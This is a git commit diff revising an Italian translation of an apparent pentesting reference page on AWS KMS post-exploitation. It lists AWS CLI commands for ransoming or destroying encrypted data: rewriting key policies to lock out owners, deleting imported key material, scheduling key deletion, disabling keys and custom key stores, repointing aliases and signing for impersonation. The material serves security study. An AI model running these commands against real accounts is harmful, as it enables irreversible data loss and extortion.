Translated ['', 'src/pentesting-cloud/aws-security/aws-post-exploitation

This commit is contained in:
Translator
2026-02-23 11:01:06 +00:00
parent ce8dfddba4
commit 93b46049a0

View File

@@ -4,23 +4,23 @@
## KMS
Per ulteriori informazioni consulta:
Per maggiori informazioni consulta:
{{#ref}}
../../aws-services/aws-kms-enum.md
{{#endref}}
### Encrypt/Decrypt information
### Crittografia/Decriptazione delle informazioni
`fileb://` and `file://` are URI schemes used in AWS CLI commands to specify the path to local files:
`fileb://` e `file://` sono schemi URI usati nei comandi AWS CLI per specificare il percorso di file locali:
- `fileb://:` Legge il file in modalità binaria, comunemente usato per file non di testo.
- `file://:` Legge il file in modalità testo, tipicamente usato per file di testo semplice, script o JSON che non hanno requisiti di codifica speciali.
> [!TIP]
> Nota che se vuoi decrypt dei dati all'interno di un file, il file deve contenere i dati binari, non dati codificati in base64. (fileb://)
> Nota che se vuoi decriptare dei dati all'interno di un file, il file deve contenere i dati binari, non dati codificati in base64. (fileb://)
- Using a **symmetric** key
- Usando una chiave **simmetrica**
```bash
# Encrypt data
aws kms encrypt \
@@ -38,7 +38,7 @@ aws kms decrypt \
--query Plaintext | base64 \
--decode
```
- Usando una **asymmetric** key:
- Usare una chiave **asimmetrica**:
```bash
# Encrypt data
aws kms encrypt \
@@ -60,14 +60,14 @@ aws kms decrypt \
```
### KMS Ransomware
Un attaccante con accesso privilegiato a KMS potrebbe modificare la KMS policy delle chiavi e **concedere al suo account l'accesso su di esse**, rimuovendo l'accesso concesso all'account legittimo.
Un attacker con accesso privilegiato su KMS potrebbe modificare la KMS policy delle chiavi e **concedere al suo account l'accesso a esse**, rimuovendo l'accesso concesso al legit account.
Gli utenti dell'account legittimo non potranno accedere alle informazioni di alcun servizio che siano state cifrate con quelle chiavi, creando un ransomware semplice ma efficace contro l'account.
Di conseguenza, gli utenti del legit account non potranno più accedere alle informazioni di qualunque servizio che sia stato criptato con quelle chiavi, creando un ransomware semplice ma efficace sull'account.
> [!WARNING]
> Nota che **AWS managed keys aren't affected** da questo attacco; sono interessate solo le **Customer managed keys**.
> Nota che **AWS managed keys aren't affected** da questo attacco, solo **Customer managed keys**.
> Nota anche la necessità di usare il parametro **`--bypass-policy-lockout-safety-check`** (l'assenza di questa opzione nella web console rende questo attacco possibile solo dalla CLI).
> Nota anche la necessità di usare il parametro **`--bypass-policy-lockout-safety-check`** (l'assenza di questa opzione nella web console rende questo attacco possibile solo da CLI).
```bash
# Force policy change
aws kms put-key-policy --key-id mrk-c10357313a644d69b4b28b88523ef20c \
@@ -92,28 +92,28 @@ aws kms put-key-policy --key-id mrk-c10357313a644d69b4b28b88523ef20c \
}
```
> [!CAUTION]
> Nota che se modifichi quella policy e concedi l'accesso solo a un external account, e poi da quell'external account provi a impostare una nuova policy per **restituire l'accesso all'account originale, non ci riuscirai perché l'azione Put Polocy non può essere eseguita da un cross account**.
> Nota che se modifichi quella policy e concedi l'accesso solo a un account esterno, e poi da questo account esterno provi a impostare una nuova policy per **restituire l'accesso all'account originale, non potrai perché l'azione Put Polocy non può essere eseguita da un cross account**.
<figure><img src="../../../images/image (77).png" alt=""><figcaption></figcaption></figure>
### Generic KMS Ransomware
### KMS Ransomware generico
There is another way to perform a global KMS Ransomware, which would involve the following steps:
Esiste un altro modo per eseguire un KMS Ransomware globale, che comporterebbe i seguenti passaggi:
- Crea una nuova **chiave con materiale della chiave** importato dall'attaccante
- **Riencriptare i dati più vecchi** della vittima, originariamente crittografati con la versione precedente, con quella nuova.
- **Elimina la KMS key**
- Ora solo l'attaccante, che possiede il materiale originale della chiave, potrebbe essere in grado di decrittografare i dati crittografati
- Creare una nuova **key con un key material** importato dall'attacker
- **Re-encrypt** i dati più vecchi della vittima crittografati con la versione precedente usando quella nuova.
- Eliminare la **KMS key**
- Ora solo l'attacker, che possiede il key material originale, potrebbe essere in grado di decrittare i dati cifrati
### Delete Keys via kms:DeleteImportedKeyMaterial
Con il permesso `kms:DeleteImportedKeyMaterial`, un attore può cancellare il materiale della chiave importato dalle CMKs con `Origin=EXTERNAL` (CMKs che hanno importato il loro materiale della chiave), rendendole incapaci di decrittografare i dati. Questa azione è distruttiva e irreversibile a meno che non venga re-importato materiale compatibile, consentendo a un attaccante di causare di fatto una perdita di dati simile a ransomware rendendo le informazioni criptate permanentemente inaccessibili.
Con la permissione `kms:DeleteImportedKeyMaterial`, un actor può cancellare il key material importato dalle CMKs con `Origin=EXTERNAL` (CMKs che hanno importato il loro key material), rendendole incapaci di decrittare i dati. Questa azione è distruttiva e irreversibile a meno che non venga re-importato materiale compatibile, permettendo a un attacker di causare effettivamente una perdita di dati simile a ransomware rendendo le informazioni cifrate permanentemente inaccessibili.
```bash
aws kms delete-imported-key-material --key-id <Key_ID>
```
### Distruggere keys
### Distruggere le chiavi
Distruggendo keys è possibile effettuare un DoS.
Distruggendo le chiavi è possibile eseguire un DoS.
```bash
# Schedule the destoy of a key (min wait time is 7 days)
aws kms schedule-key-deletion \
@@ -121,10 +121,10 @@ aws kms schedule-key-deletion \
--pending-window-in-days 7
```
> [!CAUTION]
> Nota che AWS ora **impedisce che le azioni precedenti vengano eseguite da un cross account:**
> Nota che AWS ora **impedisce che le azioni precedenti possano essere eseguite da account diversi:**
### Modificare o eliminare Alias
Questo attacco elimina o reindirizza gli alias di AWS KMS, interrompendo la risoluzione delle chiavi e causando malfunzionamenti immediati in qualsiasi servizio che si appoggi a quegli alias, risultando in un denial-of-service. Con permessi come `kms:DeleteAlias` o `kms:UpdateAlias`, un attaccante può rimuovere o ripuntare alias e interrompere le operazioni crittografiche (e.g., encrypt, describe). Qualsiasi servizio che faccia riferimento all'alias invece che al key ID potrebbe non funzionare finché l'alias non viene ripristinato o correttamente rimappato.
### Cambiare o eliminare Alias
Questo attacco elimina o reindirizza gli alias di AWS KMS, interrompendo la risoluzione delle chiavi e causando fallimenti immediati in qualsiasi servizio che si affidi a quegli alias, risultando in un denial-of-service. Con permessi come `kms:DeleteAlias` o `kms:UpdateAlias` un attaccante può rimuovere o ripuntare gli alias e interrompere le operazioni crittografiche (e.g., encrypt, describe). Qualsiasi servizio che faccia riferimento all'alias invece che al key ID può fallire fino a quando l'alias non viene ripristinato o rimappato correttamente.
```bash
# Delete Alias
aws kms delete-alias --alias-name alias/<key_alias>
@@ -134,8 +134,8 @@ aws kms update-alias \
--alias-name alias/<key_alias> \
--target-key-id <new_target_key>
```
### Annullare l'eliminazione della chiave
Con permessi come `kms:CancelKeyDeletion` e `kms:EnableKey`, un attore può annullare la cancellazione programmata di una customer master key di AWS KMS e successivamente riattivarla. In questo modo recupera la chiave (inizialmente nello stato Disabled) e ne ripristina la capacità di decrittare dati precedentemente protetti, consentendo l'esfiltrazione.
### Cancel Key Deletion
Con permessi come `kms:CancelKeyDeletion` e `kms:EnableKey`, un attore può annullare la cancellazione programmata di una customer master key di AWS KMS e successivamente riabilitarla. In questo modo si recupera la chiave (inizialmente nello stato Disabled) e si ripristina la sua capacità di decrittare dati precedentemente protetti, consentendo l'esfiltrazione.
```bash
# Firts cancel de deletion
aws kms cancel-key-deletion \
@@ -145,22 +145,22 @@ aws kms cancel-key-deletion \
aws kms enable-key \
--key-id <Key_ID>
```
### Disabilitare la chiave
Con il permesso `kms:DisableKey`, un attore può disabilitare una chiave master del cliente (CMK) di AWS KMS, impedendone l'uso per la crittografia o la decrittografia. Ciò interrompe l'accesso per qualsiasi servizio che dipenda da quella CMK e può causare interruzioni immediate o un denial-of-service fino a quando la chiave non viene riattivata.
### Disabilita chiave
Con il permesso `kms:DisableKey`, un attore può disabilitare una AWS KMS customer master key, impedendone l'utilizzo per encryption o decryption. Questo interrompe l'accesso per qualsiasi servizio che dipenda da quella CMK e può causare interruzioni immediate o un denial-of-service fino a quando la chiave non viene riattivata.
```bash
aws kms disable-key \
--key-id <key_id>
```
### Derivare un segreto condiviso
Con il permesso `kms:DeriveSharedSecret`, un attore può usare una chiave privata detenuta in KMS insieme a una chiave pubblica fornita dall'utente per calcolare un segreto condiviso ECDH.
### Derivare Shared Secret
Con il permesso `kms:DeriveSharedSecret`, un attore può usare una chiave privata detenuta da KMS insieme a una chiave pubblica fornita dall'utente per calcolare un ECDH shared secret.
```bash
aws kms derive-shared-secret \
--key-id <key_id> \
--public-key fileb:///<route_to_public_key> \
--key-agreement-algorithm <algorithm>
```
### Impersonation via kms:Sign
Con il permesso `kms:Sign`, un attore può usare una CMK conservata in KMS per firmare crittograficamente dati senza esporre la chiave privata, generando firme valide che possono consentire impersonation o autorizzare azioni dannose.
### Impersonazione tramite kms:Sign
Con il permesso `kms:Sign`, un attore può usare una KMS-stored CMK per firmare criptograficamente i dati senza esporre la private key, producendo firme valide che possono permettere l'impersonazione o autorizzare azioni malevole.
```bash
aws kms sign \
--key-id <key-id> \
@@ -168,8 +168,8 @@ aws kms sign \
--signing-algorithm <algoritmo> \
--message-type RAW
```
### DoS with Custom Key Stores
Con permessi come `kms:DeleteCustomKeyStore`, `kms:DisconnectCustomKeyStore` o `kms:UpdateCustomKeyStore`, un attore può modificare, scollegare o eliminare un AWS KMS Custom Key Store (CKS), rendendo le chiavi master inutilizzabili. Questo interrompe le operazioni di cifratura, decifratura e firma per qualsiasi servizio che dipenda da quelle chiavi e può causare un immediato denial-of-service. Limitare e monitorare tali permessi è quindi fondamentale.
### DoS con Custom Key Stores
Con permessi come `kms:DeleteCustomKeyStore`, `kms:DisconnectCustomKeyStore` o `kms:UpdateCustomKeyStore`, un attore può modificare, disconnettere o eliminare un AWS KMS Custom Key Store (CKS), rendendo le sue chiavi master inoperabili. Questo interrompe le operazioni di cifratura, decifratura e firma per qualsiasi servizio che si basi su quelle chiavi e può causare un immediato denial-of-service. Limitare e monitorare tali permessi è quindi fondamentale.
```bash
aws kms delete-custom-key-store --custom-key-store-id <CUSTOM_KEY_STORE_ID>